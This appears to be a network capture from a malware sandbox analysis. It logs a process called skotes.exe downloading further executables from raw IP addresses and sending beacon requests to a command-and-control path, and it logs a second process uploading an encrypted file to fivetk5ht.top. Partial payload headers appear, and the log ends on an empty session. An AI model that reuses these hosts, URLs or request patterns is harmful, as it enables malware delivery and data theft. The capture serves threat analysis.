Dec 20, 2024 21:13:47.854557037 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 20:13:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49955	31.41.244.11	80	5236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 21:13:48.051389933 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 21:13:49.379986048 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 20:13:49 GMT Content-Type: application/octet-stream Content-Length: 4395520 Last-Modified: Fri, 20 Dec 2024 18:59:26 GMT Connection: keep-alive ETag: "6765be8e-431200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 07 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4a 49 00 00 4c 75 00 00 32 00 00 00 a0 c4 00 00 10 00 00 00 60 49 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 c4 00 00 04 00 00 25 b5 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f b0 72 00 73 00 00 00 00 a0 72 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 7e c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc 7d c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELcg(JILu2`I@%C@ _rsr~} r4(@.rsrcrD(@.idata rF(@ 7rH(@cgufevlnJ(@qfofweguB@.taggant0"B@
Dec 20, 2024 21:13:49.380012989 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 21:13:49.380028963 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 21:13:49.380168915 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 21:13:49.380186081 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 21:13:49.380434036 CET	1236	IN	Data Raw: 63 ca ab 27 e6 72 87 a2 16 44 2d e5 f3 9a 3a 07 94 ee e8 4d 5f b9 77 0e c9 55 da 12 a4 ac cb 9d f3 5e 24 7e 55 bc 06 92 8e 4e 14 94 d3 dc fe 15 bd 4c b0 91 1b a1 b7 5c 24 dd 59 16 9b 2d 46 b5 7e 7f b5 ce ee 3f 23 1e 44 e4 97 6e 7e 55 fc 44 21 0c Data Ascii: c'rD-:M_wU^$~UNL\$Y-F~?#Dn~UD!8#e+K4:#UuS@#X143AoiMN+l4nQ}<Y\Pgwmwl[HBfn/g4=7^9e@
Dec 20, 2024 21:13:49.380450010 CET	1236	IN	Data Raw: 22 38 80 5b 2f 40 b8 91 15 4d ce 8d 03 ce f7 e4 4e 2d 00 35 3e 61 81 49 17 c0 de a9 4f 3a 9b 55 d0 f4 43 51 db 1d c8 23 13 20 55 8b 70 0e b7 9a 5c cc cc 36 5c 6e 42 03 7f 72 e8 f0 0a 40 ba 31 0c ad 36 b4 7f e1 aa 34 0f 01 d5 44 00 30 fc a5 9a 79 Data Ascii: "8[/@MN-5>aIO:UCQ# Up\6\nBr@164D0y}!`9rIdIiLHg(lVczqch9JE;i^P8a;By]\|' ++c/J0TzW-*fu"]2aOG#PZr
Dec 20, 2024 21:13:49.380467892 CET	552	IN	Data Raw: 7e 6c 5b 94 c2 a4 ab 09 3b 7c 18 d0 9a b3 55 ab 2a bc 00 e7 02 7b ce 45 a0 28 93 49 8c 45 7a ff 70 4c a6 3f 5f 9d 1e fe 66 2a 82 34 a1 3e e0 22 63 55 7b b2 ea 6c 9e 88 c2 e0 3a ab f5 31 ea 37 84 92 97 aa 55 f0 d8 c5 c2 64 37 5b 3a c2 eb 99 1a d0 Data Ascii: ~l[;\|U{E(IEzpL?_f4>"cU{l:17Ud7[:PR2b)jcmwZ1&pD8<wmprRBt(!MvC XuwNzSqdmGeD7{YWHeT(\|0!g/QF3
Dec 20, 2024 21:13:49.380789995 CET	1236	IN	Data Raw: 65 a2 92 b6 c1 42 5b ca bd 82 94 1a ca f0 d4 b9 1c b5 03 fc 7f d9 15 c8 1c f4 7f 33 73 ae 5b 86 c6 a7 0f bf 60 67 94 e8 d9 86 18 fb 9f c7 eb ac 2c 40 df 13 46 a6 f3 35 97 71 1f ca 1e a0 03 84 d4 a4 9b 66 87 90 87 24 b7 4b 5c ba 71 fa f5 17 4d 6e Data Ascii: eB[3s[`g,@F5qf$K\qMn_YaT>8^.6V^#B7ZSW>Oq>8pf]b$2{<fnAn'^dQ!X<}4N"\|0M(q\m3,
Dec 20, 2024 21:13:49.380804062 CET	224	IN	Data Raw: 4f 30 99 65 05 b0 49 03 e7 74 ae 59 68 14 9d 4e 2a 08 6c 76 5e b1 7b 4b 9c 1a e4 a5 60 84 87 1c e7 13 7c d2 c1 fa ac b6 13 3e 03 3d 8f ee 92 7b 1c 12 c2 49 d9 cd 29 c9 12 b4 e2 8b 15 47 b7 0c 63 b0 a8 25 8e 05 54 ae 9f cc 72 c5 85 75 38 c5 a8 46 Data Ascii: O0eItYhN*lv^{K`\|>={I)Gc%Tru8F6W{""+9XJ\q^pD9Bq^8~ell&)Hu;NCLZS6("5!sY\|H(x7aOvI
Dec 20, 2024 21:13:49.499833107 CET	1236	IN	Data Raw: 35 00 18 8a 26 ee 75 eb 4f f0 76 c6 f3 79 08 b4 36 cc c8 2b 03 80 a4 14 77 30 b3 06 f8 e8 3e f7 ba 5b 54 c3 5b 2f 39 ef 53 41 63 8a 2f 90 21 3f ec c9 7f 6c c2 de 05 da 5f bc 97 93 6f 6d 7b 3c 0d 6f c3 ae 84 91 c3 ac 14 4f fb 0c c0 8c ff 98 8f 22 Data Ascii: 5&uOvy6+w0>[T[/9SAc/!?l_om{<oO"2z-iLd"f8wSDCI "#uLHJ<V-UpKk>\Dj-Tx!m~b#\|y<FFZ&+'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49986	185.215.113.43	80	5236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 21:13:58.862509012 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 38 32 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018825001&unit=246122658369
Dec 20, 2024 21:14:00.206875086 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 20:13:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49990	31.41.244.11	80	5236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 21:14:00.329981089 CET	62	OUT	GET /files/unique2/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 21:14:01.681037903 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 20:14:01 GMT Content-Type: application/octet-stream Content-Length: 1956352 Last-Modified: Fri, 20 Dec 2024 19:42:22 GMT Connection: keep-alive ETag: "6765c89e-1dda00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 97 69 b8 cb d3 08 d6 98 d3 08 d6 98 d3 08 d6 98 6e 47 40 98 d2 08 d6 98 cd 5a 52 98 ce 08 d6 98 cd 5a 43 98 c7 08 d6 98 cd 5a 55 98 b8 08 d6 98 f4 ce ad 98 d6 08 d6 98 d3 08 d7 98 a0 08 d6 98 cd 5a 5c 98 d2 08 d6 98 cd 5a 42 98 d2 08 d6 98 cd 5a 47 98 d2 08 d6 98 52 69 63 68 d3 08 d6 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a8 2c b1 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 da 02 00 00 40 01 00 00 00 00 00 00 60 86 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 90 86 00 00 04 00 00 5c 0a 1e 00 02 00 00 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$inG@ZRZCZUZ\ZBZGRichPEL,e@`@\[Ao@X @N@.rsrc@p^@.idata A@ )A@enuobymw`k@cncgxjdrP@.taggant0`"@
Dec 20, 2024 21:14:01.681099892 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 21:14:01.681135893 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 21:14:01.681323051 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 21:14:01.681359053 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 6I$i,pzx@4
Dec 20, 2024 21:14:01.681395054 CET	448	IN	Data Raw: d9 ff 7f 72 c6 ce 14 6b 22 1a 01 a9 1b c2 c0 30 a3 ae 28 d5 14 f7 09 81 97 c2 c2 93 76 6f 32 ed f4 b5 e9 76 6f 97 a3 67 9c d8 d9 50 b1 0e d2 27 6e 2f a9 9c 8b ee 0d bc 9e b0 09 11 df aa 72 05 6a b3 b0 0c 78 40 f5 32 39 6d 9d 34 13 a7 29 95 a3 ad Data Ascii: rk"0(vo2vogP'n/rjx@29m4)y&'Y!iQ>xl4^Rq9?lRDnvp5mmQhUP8u:8+aR{&nv,}#,klfC9SKr{3#_M)
Dec 20, 2024 21:14:01.681612015 CET	1236	IN	Data Raw: 8d 88 10 a5 84 c9 a1 9b 8e f5 49 2d 82 c6 69 8e 91 a3 98 31 7b 21 dc 09 ca 14 d0 2e 9d 55 5f 39 91 7f 87 3a 80 a1 66 df 50 a3 fa cc 94 1b d7 0b a1 87 bc b4 84 f6 df e3 0f 36 2d ad 05 26 f2 11 c3 8c c6 e1 52 8e f3 46 38 03 1e 15 63 9c 3f 24 cf 46 Data Ascii: I-i1{!.U_9:fP6-&RF8c?$F2ds(p}0B"l6I,D<arwRg/\|tN0e\=i4pGq'U 3O!_} FYN)tOvdR&yFj]?0IP(=v)
Dec 20, 2024 21:14:01.681647062 CET	1236	IN	Data Raw: 45 d2 62 3f 1b aa 43 f5 83 af 68 5d b8 46 f7 5a 8f d6 5e e6 88 8e 1f 31 f3 4b 05 45 ad ec e8 1e 75 22 90 cc 7c d5 be 9e fa d0 80 b0 8c 91 70 b7 70 d0 dc 7b 34 d8 d5 76 ee ba bb 75 fe e4 c9 a8 81 29 fb a8 e5 c5 78 a0 78 79 84 43 be c6 15 47 f3 6c Data Ascii: Eb?Ch]FZ^1KEu"\|pp{4vu)xxyCGl,qD{AK uM\r8jC+FJ\SKj\|Hek>9pa@)M\|cVF5BREVT`Y4h
Dec 20, 2024 21:14:01.681688070 CET	1236	IN	Data Raw: 94 22 22 9e ec 56 21 f0 48 67 8c 98 5e 26 fc 63 17 1a c6 68 ff 1e 5f eb d6 8d c0 76 12 e0 89 db 35 b7 75 46 67 eb 38 e3 72 91 a8 8d 1a 27 b8 24 b1 19 0d 05 a4 cf 5e 60 ca e6 92 0c d3 c6 09 a4 98 8e 7e 20 73 7d 4f 2c 3e fb 99 9f ad f8 10 38 88 fc Data Ascii: ""V!Hg^&ch_v5uFg8r'$^`~ s}O,>8Qp+&g02gy8ol;Ne/)-t>`%1*b8Ft1T#"FvnrpW]%AR\5r57Y$Aq;rgj.I^`ZY
Dec 20, 2024 21:14:01.681989908 CET	1236	IN	Data Raw: 20 ec 9f 46 39 e2 7a a9 f9 78 a5 f0 8f 96 69 23 d2 2f 3d 99 7b c4 81 4d c0 ec cf 0c 62 c5 fe 73 81 05 bc f7 0c 69 96 70 7c de e3 46 6b 4a 69 82 66 69 9a 30 14 81 f5 52 66 c6 55 98 9d 4f 61 1a 71 12 e5 2a 97 9a 5a e4 03 aa a3 63 2d 68 05 d1 1a 80 Data Ascii: F9zxi#/={Mbsip\|FkJifi0RfUOaqZc-h7~=_B{~<rv@BuE"#xs#a]WoS.7D ~?p]E)i,-/yq+w/"TvJaaG8/cM%s#_
Dec 20, 2024 21:14:01.801255941 CET	1236	IN	Data Raw: c0 65 b8 aa a6 ba e1 ac 80 e6 2a 98 25 33 63 86 8b c5 3b 2b 84 37 e9 44 de 5b 38 dd 0f 6e dd 27 0d 44 d3 c4 5f 33 64 7b 38 bc be 27 ca 1c e6 82 21 65 68 5d 7f 0d 77 39 9d 27 69 2c 93 b7 49 65 69 a7 ed 18 1b 2b 8b c0 c5 6c 49 34 dd c6 1e c8 1b 43 Data Ascii: e*%3c;+7D[8n'D_3d{8'!eh]w9'i,Iei+lI4C1q3YIO'%EPN`Wkj`C~LVr_n_=h<BtBfmhvaq422F 8oe4}Qq;#cP8W8;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50011	185.215.113.43	80	5236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 21:14:07.652556896 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 38 32 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018826001&unit=246122658369
Dec 20, 2024 21:14:08.976089001 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 20:14:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50019	185.121.15.192	80	5872	C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 21:14:08.919275999 CET	641	OUT	POST /v1/upload.php HTTP/1.1 Host: fivetk5ht.top Accept: / Content-Length: 462 Content-Type: multipart/form-data; boundary=------------------------rxksg29ZvNSCWaDoRyzO4M Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 72 78 6b 73 67 32 39 5a 76 4e 53 43 57 61 44 6f 52 79 7a 4f 34 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 56 6f 73 6f 66 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a d8 42 29 e0 58 89 96 92 66 0f 46 17 eb cf 0c 3b 66 c0 37 49 75 2f 38 2b 94 45 43 f9 cd 2e 57 4e 7e dc 07 06 21 e1 7a 3b e5 9b 59 87 0a eb 27 61 a8 3d c1 a2 71 ab a4 8a 24 d9 56 f2 cc b3 91 bf 13 2b 81 d1 95 f9 f0 1a a0 f1 ba 8b 67 98 e4 49 e1 e0 b2 4f 26 e9 69 0d 5a 59 3d 3a 69 f7 0f 46 57 ec 78 94 d4 cc a6 b0 e1 b0 6c 66 49 32 d5 7b c2 74 3d 34 b3 27 e8 5a 6b 46 a0 b8 de 93 f8 2e 25 34 52 d1 98 e2 bf 59 04 c5 da 2a 25 db 43 17 65 41 cd f2 0c 0e bb f7 3a bc b6 06 72 7e 7b ac 99 66 14 d7 48 65 9c 54 8b c0 84 63 4e ba fe c5 b7 24 [TRUNCATED] Data Ascii: --------------------------rxksg29ZvNSCWaDoRyzO4MContent-Disposition: form-data; name="file"; filename="Vosofo.bin"Content-Type: application/octet-streamB)XfF;f7Iu/8+EC.WN~!z;Y'a=q$V+gIO&iZY=:iFWxlfI2{t=4'ZkF.%4RY%CeA:r~{fHeTcN$}7!uodZs)S9vdV1"--------------------------rxksg29ZvNSCWaDoRyzO4M--
Dec 20, 2024 21:14:10.345231056 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 20:14:10 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 29 X-RateLimit-Reset: 1734727451 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50020	185.215.113.16	80	5236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 21:14:09.102636099 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 20, 2024 21:14:10.446202040 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 20:14:09 GMT Content-Type: application/octet-stream Content-Length: 1859584 Last-Modified: Fri, 20 Dec 2024 20:03:23 GMT Connection: keep-alive ETag: "6765cd8b-1c6000" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 90 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 49 00 00 04 00 00 ca 62 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gI@Ib@T0h 1 H@.rsrc X@.idata 0Z@ `*@\@ogquhcng/^@zctwxjzxI8@.taggant0I">@
Dec 20, 2024 21:14:10.446259022 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 21:14:10.446271896 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 21:14:10.446543932 CET	372	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 21:14:10.446556091 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 21:14:10.446568012 CET	1236	IN	Data Raw: b1 f5 1b fb e5 2f 23 b5 c8 8d 19 de ce d2 e4 90 3d fb e6 65 1f d5 e4 fa a8 c3 53 f0 4a c2 4c 2a 12 48 1b 9b 14 33 1a 61 db ac 76 ec 24 1e 72 b7 a0 fb cd ec c7 c7 db 2b 2e d8 dc fe b6 7b d5 e1 11 81 12 2e 29 c1 f0 f8 be 51 bb ff 46 ea e2 83 dc b1 Data Ascii: /#=eSJL*H3av$r+.{.)QF#/[7n(mXQAB_OYHadJeW$W[/+ TZBPP/!d~F$\lQ74Cd/$/GSoHf>vgkkGshqWk3af#ikp
Dec 20, 2024 21:14:10.446578979 CET	448	IN	Data Raw: ed 0c 53 10 b9 65 0b ae 50 b0 d7 53 58 7b 4f c8 e0 c7 b5 60 69 ca 0e 36 ff 22 8b f4 11 0b 6e 4e 15 8d 01 3a 08 b2 66 49 db 40 c7 49 cb 62 3a 03 c1 e0 29 2e e3 cb 97 09 cf b3 b7 fd 62 39 1f 1f 08 b0 59 60 60 a6 85 6c 0c cd 6b fd ab a3 ca 40 fd ac Data Ascii: SePSX{O`i6"nN:fI@Ib:).b9Y``lk@&duuQeet`k]b_usbf(apHa}X)Kz^,h7:d?QX4, aB=hJEBwZlEuH\|M9gr/K~]/J!<w%;~e_?W
Dec 20, 2024 21:14:10.446903944 CET	1236	IN	Data Raw: 37 43 4a 52 98 a1 d9 09 3d 92 c5 f1 03 f0 5a 2c 5a be 55 24 4c 74 6f b7 20 0b 36 41 e2 c6 a7 f2 66 3c 1b 37 82 52 70 1e 67 d6 df e8 2d d5 5b 29 7c 1e 65 10 0c 47 5f b1 60 e4 b1 ef 53 c1 69 cb b9 5b 68 72 f9 16 9f e5 e8 bc a1 ff e8 b4 e9 69 18 83 Data Ascii: 7CJR=Z,ZU$Lto 6Af<7Rpg-[)\|eG_`Si[hri\|H@e4CVTQQRdyaX^h9[g`o~\|eS^c?l%HgmiE!J+B5Z'7sw/ QE3X}\sLeopyIBG
Dec 20, 2024 21:14:10.446916103 CET	1236	IN	Data Raw: 5a 03 c1 ec ec a2 3c e2 b9 e4 76 a4 9c d4 1a c1 36 c4 61 25 60 94 cd 48 66 52 d5 1b ce 50 e9 46 47 42 83 1d b7 8e 12 cc 6f d8 e1 e2 53 60 57 0f 13 05 5e e4 a6 ab 49 9e bf 18 96 5b be 6c 40 a4 05 7e 85 81 8c 89 65 1e 7a 6d c7 ad 22 f2 d4 ad 97 a5 Data Ascii: Z<v6a%`HfRPFGBoS`W^I[l@~ezm">gzwZ&h0~keqmrQV1tVy-aZY:\|1b3nwwnyL>?-+BaWa<W\8_1B@T4>f.uXkCX0
Dec 20, 2024 21:14:10.446928024 CET	1236	IN	Data Raw: b0 b1 ce 15 13 ae 82 bc 12 b1 1a 6e 3f a0 a3 7f 1f 93 5b 66 e3 ce e5 f6 9f af c1 a8 25 9c e8 02 8c 79 93 be 0f 0d 5e e3 5a 78 ee e6 65 cc d9 0e da 2b da c0 fe 49 7a cb 27 49 5a 93 cc 13 66 64 bf a9 b2 cd 40 ac 3c f8 2c f0 dc d2 18 20 62 5f d0 fc Data Ascii: n?[f%y^Zxe+Iz'IZfd@<, b_R>mU!-eYN;Wc"%VLckbtH:(~Gm}!n#~K"89SknAvT\ NzBH[=hSJY[X
Dec 20, 2024 21:14:10.566035986 CET	1236	IN	Data Raw: d9 ce 55 d5 fb b6 4f bd 83 a9 79 64 e7 00 d8 4c 23 79 d9 5d e6 0f ea e0 48 6a 8a 5c 1b 04 a7 7d e3 bd 4c f1 8e 40 c0 0d 6d a1 82 a5 07 16 98 24 13 22 64 e5 a6 a7 a7 b2 e7 31 7b c7 f2 f0 b5 c4 df c6 ca f4 fa c9 8c c3 19 f0 9b f5 d8 88 97 65 91 ba Data Ascii: UOydL#y]Hj\}L@m$"d1{eBb-CSk)6a#6#b[{Y!L?byp5x0'.hq`b~'[eiaO@c]aeWey<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50027	185.121.15.192	80	5872	C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe

Timestamp	Bytes transferred	Direction	Data
